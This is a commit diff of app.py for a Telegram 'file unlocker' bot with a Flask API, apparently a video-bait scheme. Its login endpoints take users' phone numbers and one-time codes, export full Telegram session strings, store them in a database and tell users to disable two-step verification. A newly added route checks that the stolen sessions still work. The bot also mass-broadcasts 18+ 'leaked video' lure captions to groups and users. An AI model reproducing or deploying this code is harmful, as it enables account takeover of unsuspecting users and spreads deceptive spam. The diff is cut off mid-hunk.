pmrony commited on
Commit
16f76c8
·
verified ·
1 Parent(s): ab73464

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +89 -200
app.py CHANGED
@@ -8,7 +8,7 @@ import urllib3
8
  from flask import Flask, jsonify, make_response, request
9
  from supabase import create_client
10
  from pyrogram import Client, filters, enums, idle
11
- from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
12
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
13
 
14
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
@@ -28,24 +28,14 @@ ADMIN_IDS = [7307789267]
28
  app = Flask(__name__)
29
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
30
  admin_states = {}
31
-
32
- # টেম্পোরারি সেশন ডেটা রাখার জন্য
33
  temp_clients = {}
34
-
35
- # মেইন ইভেন্ট লুপ (Flask এবং Pyrogram একসাথে চালানোর জন্য)
36
  main_loop = asyncio.get_event_loop()
37
 
38
  def run_async(coro):
39
- """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন"""
40
  future = asyncio.run_coroutine_threadsafe(coro, main_loop)
41
  return future.result()
42
 
43
- bot = Client(
44
- "file_unlocker_bot",
45
- api_id=API_ID,
46
- api_hash=API_HASH,
47
- bot_token=BOT_TOKEN
48
- )
49
 
50
  async def db_query(func):
51
  return await asyncio.to_thread(func)
@@ -53,7 +43,7 @@ async def db_query(func):
53
  # ================= FLASK API ROUTES =================
54
  @app.route('/')
55
  def index():
56
- return "Bot, Media Uploader, and Real Session Generator is Running! 🚀"
57
 
58
  def add_cors_headers(response):
59
  response.headers['Access-Control-Allow-Origin'] = '*'
@@ -69,6 +59,38 @@ def api_videos():
69
  except Exception as e:
70
  return add_cors_headers(make_response(jsonify([])))
71
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
72
  @app.route('/api/send_code', methods=['POST', 'OPTIONS'])
73
  def api_send_code():
74
  if request.method == 'OPTIONS':
@@ -86,10 +108,7 @@ def api_send_code():
86
  await client.connect()
87
  try:
88
  code_info = await client.send_code(phone)
89
- temp_clients[phone] = {
90
- 'client': client,
91
- 'hash': code_info.phone_code_hash
92
- }
93
  return {"status": "ok", "hash": code_info.phone_code_hash}
94
  except Exception as e:
95
  await client.disconnect()
@@ -124,18 +143,14 @@ def api_verify_code():
124
  session_string = await client.export_session_string()
125
  await client.disconnect()
126
 
127
- await db_query(lambda: supabase.table('user_sessions').insert({
128
- "user_id": user_id,
129
- "session_string": session_string
130
- }).execute())
131
-
132
  del temp_clients[phone]
133
  return {"status": "ok"}
134
 
135
  except SessionPasswordNeeded:
136
  await client.disconnect()
137
  del temp_clients[phone]
138
- return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
139
  except PhoneCodeInvalid:
140
  return {"status": "error", "msg": "Invalid OTP Code!"}
141
  except PhoneCodeExpired:
@@ -205,8 +220,7 @@ async def start(client, message):
205
  async def bot_added_to_group(client, message):
206
  me = client.me
207
  if getattr(me, "id", None) is None:
208
- try:
209
- me = await client.get_me()
210
  except: return
211
 
212
  for member in message.new_chat_members:
@@ -216,23 +230,19 @@ async def bot_added_to_group(client, message):
216
  group_name = message.chat.title
217
  admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
218
  for admin_id in ADMIN_IDS:
219
- try:
220
- await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
221
  except: pass
222
  except: pass
223
 
224
-
225
- # স্থায়ী ব্লার মোড সেটিং
226
  @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
227
  async def set_blur_state(client, message):
228
  try:
229
  args = message.text.split()
230
-
231
  if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
232
  if message.chat.id in admin_states:
233
  admin_states[message.chat.id].pop("blur_percent", None)
234
  admin_states[message.chat.id].pop("clear_percent", None)
235
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপলোড করা ভিডিও আর ব্লার হবে শী, আগের মতো শুধুমাত্র ওয়াটারমার্ক হবে।", parse_mode=enums.ParseMode.HTML)
236
  return
237
 
238
  match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
@@ -247,33 +257,20 @@ async def set_blur_state(client, message):
247
  await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
248
  return
249
 
250
- if message.chat.id not in admin_states:
251
- admin_states[message.chat.id] = {}
252
-
253
  admin_states[message.chat.id]["blur_percent"] = percent
254
  admin_states[message.chat.id]["clear_percent"] = clear_percent
255
 
256
  clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
257
-
258
- reply_text = (
259
- f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n"
260
- f"📌 {clear_msg}\n\n"
261
- f"এখন থেকে আপলোড করা সব ভিডিও/ছবিতে স্বয়ংক্রিয়ভাবে এটি অ্যাপ্লাই হবে।\n\n"
262
- f"<i>(বি.দ্র: বন্ধ করতে <code>/blur 0</code> লিখে সেন্ড করুন।)</i>"
263
- )
264
  await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
265
  else:
266
  await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
267
- except Exception as e:
268
- print(e)
269
-
270
 
271
- # ================= VIDEO/PHOTO/GIF HANDLER =================
272
  def upload_file_sync(upload_url, file_path, api_key):
273
  with open(file_path, 'rb') as f:
274
- payload = {'key': api_key}
275
- files = {'file': f}
276
- return requests.post(upload_url, data=payload, files=files, timeout=900).json()
277
 
278
  @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
279
  async def handle_media_upload(client, message):
@@ -282,7 +279,6 @@ async def handle_media_upload(client, message):
282
  await process_broadcast(client, message)
283
  return
284
 
285
- # Image handler for just uploading thumb if no blur is intended
286
  media_type = "video" if message.video else "animation" if message.animation else "photo"
287
  has_blur_caption = message.caption and "/blur" in message.caption.lower()
288
  is_persistent_blur = bool(state.get("blur_percent"))
@@ -300,11 +296,9 @@ async def handle_media_upload(client, message):
300
  direct_link = await asyncio.to_thread(upload_to_supabase)
301
  if os.path.exists(local_path): os.remove(local_path)
302
  await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
303
- except Exception as e:
304
- await status.edit_text(f"⚠️ আপলোড এরর: {e}")
305
  return
306
 
307
- # --- Processing Video/Animation or Blurred Photo ---
308
  raw_caption = message.caption or ""
309
  blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
310
 
@@ -323,61 +317,42 @@ async def handle_media_upload(client, message):
323
  blur_percent = state["blur_percent"]
324
  clear_percent = state.get("clear_percent", 0)
325
 
326
- # Memory Constraint checks (Updated for High RAM server)
327
  is_large_video = False
328
  if media_type == "video":
329
  duration = message.video.duration if message.video and message.video.duration else 0
330
  file_size = message.video.file_size if message.video and message.video.file_size else 0
331
-
332
- MAX_DURATION = 7200 # 2 Hours (আগে ৬০০ সেকেন্ড ছিল)
333
- MAX_SIZE = 1900 * 1024 * 1024 # 1.9 GB (আগে ১৫০ এমবি ছিল)
334
 
335
  if duration > MAX_DURATION or file_size > MAX_SIZE:
336
  is_large_video = True
337
- is_blur = False # এক্সট্রিম বড় ফাইলের ক্ষেত্রে ব্লার স্কিপ করা হবে
338
-
339
- if is_large_video:
340
- status_msg = await message.reply("⏳ <b>ভিডিওটি টেলিগ্রামের লিমিটের চেয়েও বড়!</b> ব্লার স্কিপ করে সরাসরি byse.sx এ আপলোড করা হচ্ছে...")
341
- else:
342
- status_msg = await message.reply("⏳ মিডিয়া ডাউনলোড হচ্ছে...")
343
 
 
344
  bot_me = client.me if client.me else await client.get_me()
345
  bot_link = f"https://t.me/{bot_me.username}"
346
 
347
- original_file = None
348
- watermarked_file = None
349
- blurred_file = None
350
- final_file = None
351
- embed_link = None
352
 
353
  try:
354
  original_file = await message.download()
355
  final_file = original_file
356
 
357
- # ---------------- 1. UPLOAD & WATERMARK ----------------
358
  if media_type == "video" and not is_large_video:
359
  await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (ফাস্ট প্রসেসিং)")
360
  watermarked_file = f"{original_file}_wm.mp4"
361
-
362
  cmd = [
363
  "ffmpeg", "-y", "-i", original_file,
364
  "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
365
  "-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28",
366
- "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k",
367
- "-movflags", "+faststart", watermarked_file
368
  ]
369
  process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
370
  await process.communicate()
371
- if process.returncode == 0 and os.path.exists(watermarked_file):
372
- final_file = watermarked_file
373
 
374
- # ---------------- 2. BLUR GENERATOR ----------------
375
  if is_blur and not is_large_video:
376
- msg_txt = f"⏳ টেলিগ্রামের জন্য {blur_percent}% ব্লার তৈরি করা হচ্ছে..."
377
- if clear_percent > 0:
378
- msg_txt = f"⏳ {blur_percent}% ব্লার (উপরের {clear_percent}% ক্লিয়ার) তৈরি করা হচ্ছে..."
379
- await status_msg.edit_text(msg_txt)
380
-
381
  radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
382
  ext = "jpg" if media_type == "photo" else "mp4"
383
  blurred_file = f"{original_file}_blurred.{ext}"
@@ -388,103 +363,56 @@ async def handle_media_upload(client, message):
388
  else:
389
  ff_filter = ["-vf", f"boxblur={radius}:1"]
390
 
391
- if media_type == "photo":
392
- cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
393
- elif media_type == "animation":
394
- cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-pix_fmt", "yuv420p", blurred_file]
395
- else:
396
- cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
397
 
398
  process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
399
  await process_blur.communicate()
400
-
401
- if process_blur.returncode == 0 and os.path.exists(blurred_file):
402
- final_file = blurred_file
403
 
404
- # ---------------- 3. UPLOAD TO BYSE.SX ----------------
405
  if media_type == "video":
406
  await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
407
  api_endpoint = "https://api.byse.sx/upload/server"
408
- params = {'key': BYSE_API_KEY}
409
  loop = asyncio.get_event_loop()
410
- response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params=params, timeout=30))
411
  result = response.json()
412
 
413
  if result.get('status') == 200:
414
- upload_url = result.get('result')
415
- upload_res = await loop.run_in_executor(None, upload_file_sync, upload_url, final_file, BYSE_API_KEY)
416
  if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
417
- file_code = upload_res['files'][0].get('filecode')
418
  file_status = upload_res['files'][0].get('status', '')
419
  if "not allowed" in str(file_status).lower():
420
  await status_msg.edit_text(f"❌ byse.sx ফাইল রিজেক্ট করেছে: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
421
  return
422
- if file_code:
423
- embed_link = f"https://bysesayeveum.com/e/{file_code}"
424
 
425
  if not embed_link:
426
  await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
427
  return
428
 
429
- # ---------------- 4. SEND TO ADMIN ----------------
430
  if is_large_video:
431
- admin_cap = (
432
- f"✅ <b>সফল! (অতিরিক্ত বড় ভিডিও)</b>\n\n"
433
- f"🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n"
434
- f"📌 <i>ভিডিওটি 1.9GB এর বড় হওয়ায় গ্রুপে ব্রডকাস্ট স্কিপ করা হয়েছে। আপনি চাইলে লিংকটি দিয়ে নিজেই Web App এ ভিডিও অ্��াড করতে পারবেন।</i>"
435
- )
436
  await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
437
  await status_msg.delete()
438
  return
439
-
440
- # ---------------- 5. BROADCAST CAPTION SETUP & SEND ----------------
441
  await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
442
-
443
  if media_type == "video":
444
- if is_blur:
445
- caption_text = (
446
- f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
447
- f"🎬 <b>Watch HD Video Here:</b>\n"
448
- f"👉 <b><a href='{embed_link}'>▶️ Click Here to Watch HD</a></b>\n\n"
449
- f"🤖 <b><a href='{bot_link}'>Open Bot for More Videos!</a></b>\n"
450
- f"👇 <i>Click the button below to open Bot!</i>"
451
- )
452
- else:
453
- caption_text = (
454
- f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n"
455
- f"🎬 <b>Watch Full Video Here:</b>\n"
456
- f"👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
457
- f"👇 <i>Click the button below to open Bot!</i>"
458
- )
459
  else:
460
- if clean_caption:
461
- caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>"
462
- else:
463
- caption_text = (
464
- f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n"
465
- f"🎬 <b>Watch HD Video Here:</b>\n"
466
- f"👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n"
467
- f"👇 <i>Click the button below to open Bot!</i>"
468
- )
469
 
470
- group_markup = InlineKeyboardMarkup([
471
- [InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]
472
- ])
473
 
474
- admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link (আপনার জন্য):</b>\n<code>{embed_link or 'N/A'}</code>"
475
  thumb_path = None
476
-
477
  if media_type == "video":
478
- v_duration = message.video.duration if message.video else 0
479
- v_width = message.video.width if message.video else 0
480
- v_height = message.video.height if message.video else 0
481
-
482
  thumb_path = f"{original_file}_thumb.jpg"
483
- cmd_thumb = ["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path]
484
- proc = await asyncio.create_subprocess_exec(*cmd_thumb, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
485
  await proc.communicate()
486
- if not os.path.exists(thumb_path):
487
- thumb_path = None
488
 
489
  if media_type == "photo":
490
  sent_to_admin = await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
@@ -493,58 +421,39 @@ async def handle_media_upload(client, message):
493
  sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
494
  tg_file_id = sent_to_admin.animation.file_id
495
  else:
496
- sent_to_admin = await client.send_video(
497
- message.chat.id,
498
- final_file,
499
- caption=admin_cap,
500
- parse_mode=enums.ParseMode.HTML,
501
- duration=v_duration,
502
- width=v_width,
503
- height=v_height,
504
- thumb=thumb_path
505
- )
506
  tg_file_id = sent_to_admin.video.file_id
507
 
508
  await status_msg.delete()
509
-
510
  groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
511
  group_ids = [g['group_id'] for g in groups_res.data]
512
  success_count, fail_count = 0, 0
513
 
514
  for gid in set(group_ids):
515
  try:
516
- if media_type == "photo":
517
- await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
518
- elif media_type == "animation":
519
- await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
520
- else:
521
- await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
522
  success_count += 1
523
  await asyncio.sleep(1.5)
524
- except Exception:
525
- fail_count += 1
526
 
527
  await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ (রিমুভড): {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
528
 
529
- except Exception as e:
530
- await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
531
  finally:
532
- thumb_file = f"{original_file}_thumb.jpg" if original_file else None
533
- for f in [original_file, watermarked_file, blurred_file, thumb_file]:
534
  if f and os.path.exists(f):
535
  try: os.remove(f)
536
  except: pass
537
 
538
-
539
- # ================= ADMIN COMMANDS =================
540
  @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
541
  async def bot_stats(client, message):
542
  try:
543
  users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
544
  videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
545
  groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
546
- stat_msg = f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি"
547
- await message.reply(stat_msg, parse_mode=enums.ParseMode.HTML)
548
  except Exception as e: print(e)
549
 
550
  @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
@@ -563,13 +472,10 @@ async def process_broadcast(client, message):
563
  admin_states.pop(message.chat.id, None)
564
 
565
  try:
566
- all_users = []
567
- start = 0
568
- step = 1000
569
  while True:
570
  res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
571
- if not res.data:
572
- break
573
  all_users.extend(res.data)
574
  start += step
575
 
@@ -579,8 +485,7 @@ async def process_broadcast(client, message):
579
  await message.copy(chat_id=u['user_id'])
580
  success += 1
581
  await asyncio.sleep(0.15)
582
- except Exception:
583
- failed += 1
584
 
585
  await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
586
  except Exception as e: print(e)
@@ -589,51 +494,35 @@ async def process_broadcast(client, message):
589
  async def add_png(client, message):
590
  try:
591
  parts = message.command
592
- needed_ref = 3
593
- duration = "random"
594
- if len(parts) == 4 and parts[1].isdigit():
595
- needed_ref = int(parts[1]); duration = parts[2]; thumbnail_url = parts[3]
596
- elif len(parts) == 3 and parts[1].isdigit():
597
- needed_ref = int(parts[1]); thumbnail_url = parts[2]
598
  elif len(parts) == 2: thumbnail_url = parts[1]
599
- else:
600
- await message.reply("❌ নিয়ম ভুল।")
601
- return
602
 
603
- packed_thumb = f"{thumbnail_url}||{duration}"
604
- admin_states[message.chat.id] = {"step": 1, "thumbnail_url": packed_thumb, "needed_ref": needed_ref}
605
  await message.reply("✅ এখন Video/Embed Link দিন।")
606
  except Exception as e: print(e)
607
 
608
  @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
609
  async def catch_admin_steps(client, message):
610
  state = admin_states.get(message.chat.id, {})
611
-
612
  if state.get("step") == 1:
613
  if not message.text: return
614
  video_url = message.text.strip()
615
-
616
  if video_url == "/cancel":
617
  admin_states.pop(message.chat.id, None)
618
- await message.reply("❌ বাতিল করা হয়েছে।")
619
- return
620
 
621
- thumb_url = state["thumbnail_url"]
622
- needed_ref = state["needed_ref"]
623
-
624
  try:
625
- await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": thumb_url, "needed_ref": needed_ref}).execute())
626
  await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
627
  except Exception as e: print(e)
628
  finally: admin_states.pop(message.chat.id, None)
629
-
630
  elif state.get("step") == "broadcast":
631
  await process_broadcast(client, message)
632
 
633
- # ================= RUNNER =================
634
- def run_flask():
635
- app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
636
-
637
  async def main():
638
  await bot.start()
639
  print("🤖 Pyrogram Bot & Real Session Generator is running!")
 
8
  from flask import Flask, jsonify, make_response, request
9
  from supabase import create_client
10
  from pyrogram import Client, filters, enums, idle
11
+ from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked
12
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
13
 
14
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
28
  app = Flask(__name__)
29
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
30
  admin_states = {}
 
 
31
  temp_clients = {}
 
 
32
  main_loop = asyncio.get_event_loop()
33
 
34
  def run_async(coro):
 
35
  future = asyncio.run_coroutine_threadsafe(coro, main_loop)
36
  return future.result()
37
 
38
+ bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
 
 
 
 
 
39
 
40
  async def db_query(func):
41
  return await asyncio.to_thread(func)
 
43
  # ================= FLASK API ROUTES =================
44
  @app.route('/')
45
  def index():
46
+ return "Bot, Media Uploader, and Real Session API is Running! 🚀"
47
 
48
  def add_cors_headers(response):
49
  response.headers['Access-Control-Allow-Origin'] = '*'
 
59
  except Exception as e:
60
  return add_cors_headers(make_response(jsonify([])))
61
 
62
+ @app.route('/api/check_login', methods=['POST', 'OPTIONS'])
63
+ def api_check_login():
64
+ if request.method == 'OPTIONS':
65
+ return add_cors_headers(make_response())
66
+
67
+ data = request.json or {}
68
+ user_id = data.get('user_id')
69
+
70
+ async def check_user():
71
+ res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
72
+ if res.data:
73
+ session_string = res.data[0]['session_string']
74
+ temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
75
+ try:
76
+ await temp_client.connect()
77
+ await temp_client.get_me() # সেশন অ্যাক্টিভ কিনা টেস্ট করা
78
+ await temp_client.disconnect()
79
+ return {"status": "logged_in"}
80
+ except Exception:
81
+ try: await temp_client.disconnect()
82
+ except: pass
83
+ # টার্মিনেট থাকলে ডাটাবেস থেকে ডিলিট করে দেবে
84
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
85
+ return {"status": "not_logged_in"}
86
+ return {"status": "not_logged_in"}
87
+
88
+ try:
89
+ result = run_async(check_user())
90
+ return add_cors_headers(make_response(jsonify(result)))
91
+ except Exception as e:
92
+ return add_cors_headers(make_response(jsonify({"status": "error"})))
93
+
94
  @app.route('/api/send_code', methods=['POST', 'OPTIONS'])
95
  def api_send_code():
96
  if request.method == 'OPTIONS':
 
108
  await client.connect()
109
  try:
110
  code_info = await client.send_code(phone)
111
+ temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
 
 
 
112
  return {"status": "ok", "hash": code_info.phone_code_hash}
113
  except Exception as e:
114
  await client.disconnect()
 
143
  session_string = await client.export_session_string()
144
  await client.disconnect()
145
 
146
+ await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session_string}).execute())
 
 
 
 
147
  del temp_clients[phone]
148
  return {"status": "ok"}
149
 
150
  except SessionPasswordNeeded:
151
  await client.disconnect()
152
  del temp_clients[phone]
153
+ return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
154
  except PhoneCodeInvalid:
155
  return {"status": "error", "msg": "Invalid OTP Code!"}
156
  except PhoneCodeExpired:
 
220
  async def bot_added_to_group(client, message):
221
  me = client.me
222
  if getattr(me, "id", None) is None:
223
+ try: me = await client.get_me()
 
224
  except: return
225
 
226
  for member in message.new_chat_members:
 
230
  group_name = message.chat.title
231
  admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
232
  for admin_id in ADMIN_IDS:
233
+ try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
 
234
  except: pass
235
  except: pass
236
 
 
 
237
  @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
238
  async def set_blur_state(client, message):
239
  try:
240
  args = message.text.split()
 
241
  if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
242
  if message.chat.id in admin_states:
243
  admin_states[message.chat.id].pop("blur_percent", None)
244
  admin_states[message.chat.id].pop("clear_percent", None)
245
+ await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপলোড করা ভিডিও আর ব্লার হবে া, আগের মতো শুধুমাত্র ওয়াটারমার্ক হবে।", parse_mode=enums.ParseMode.HTML)
246
  return
247
 
248
  match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
 
257
  await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
258
  return
259
 
260
+ if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
 
 
261
  admin_states[message.chat.id]["blur_percent"] = percent
262
  admin_states[message.chat.id]["clear_percent"] = clear_percent
263
 
264
  clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
265
+ reply_text = f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}\n\nএখন থেকে আপলোড করা সব ভিডিও/ছবিতে এটি অ্যাপ্লাই হবে।\n<i>(বন্ধ করতে /blur 0)</i>"
 
 
 
 
 
 
266
  await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
267
  else:
268
  await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
269
+ except Exception as e: print(e)
 
 
270
 
 
271
  def upload_file_sync(upload_url, file_path, api_key):
272
  with open(file_path, 'rb') as f:
273
+ return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
 
 
274
 
275
  @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
276
  async def handle_media_upload(client, message):
 
279
  await process_broadcast(client, message)
280
  return
281
 
 
282
  media_type = "video" if message.video else "animation" if message.animation else "photo"
283
  has_blur_caption = message.caption and "/blur" in message.caption.lower()
284
  is_persistent_blur = bool(state.get("blur_percent"))
 
296
  direct_link = await asyncio.to_thread(upload_to_supabase)
297
  if os.path.exists(local_path): os.remove(local_path)
298
  await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
299
+ except Exception as e: await status.edit_text(f"⚠️ আপলোড এরর: {e}")
 
300
  return
301
 
 
302
  raw_caption = message.caption or ""
303
  blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
304
 
 
317
  blur_percent = state["blur_percent"]
318
  clear_percent = state.get("clear_percent", 0)
319
 
 
320
  is_large_video = False
321
  if media_type == "video":
322
  duration = message.video.duration if message.video and message.video.duration else 0
323
  file_size = message.video.file_size if message.video and message.video.file_size else 0
324
+ MAX_DURATION = 7200 # 2 Hours
325
+ MAX_SIZE = 1900 * 1024 * 1024 # 1.9 GB
 
326
 
327
  if duration > MAX_DURATION or file_size > MAX_SIZE:
328
  is_large_video = True
329
+ is_blur = False
 
 
 
 
 
330
 
331
+ status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> ব্লার স্কিপ করা হচ্ছে..." if is_large_video else "⏳ মিডিয়া ডাউনলোড হচ্ছে...")
332
  bot_me = client.me if client.me else await client.get_me()
333
  bot_link = f"https://t.me/{bot_me.username}"
334
 
335
+ original_file, watermarked_file, blurred_file, final_file, embed_link = None, None, None, None, None
 
 
 
 
336
 
337
  try:
338
  original_file = await message.download()
339
  final_file = original_file
340
 
 
341
  if media_type == "video" and not is_large_video:
342
  await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (ফাস্ট প্রসেসিং)")
343
  watermarked_file = f"{original_file}_wm.mp4"
 
344
  cmd = [
345
  "ffmpeg", "-y", "-i", original_file,
346
  "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
347
  "-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28",
348
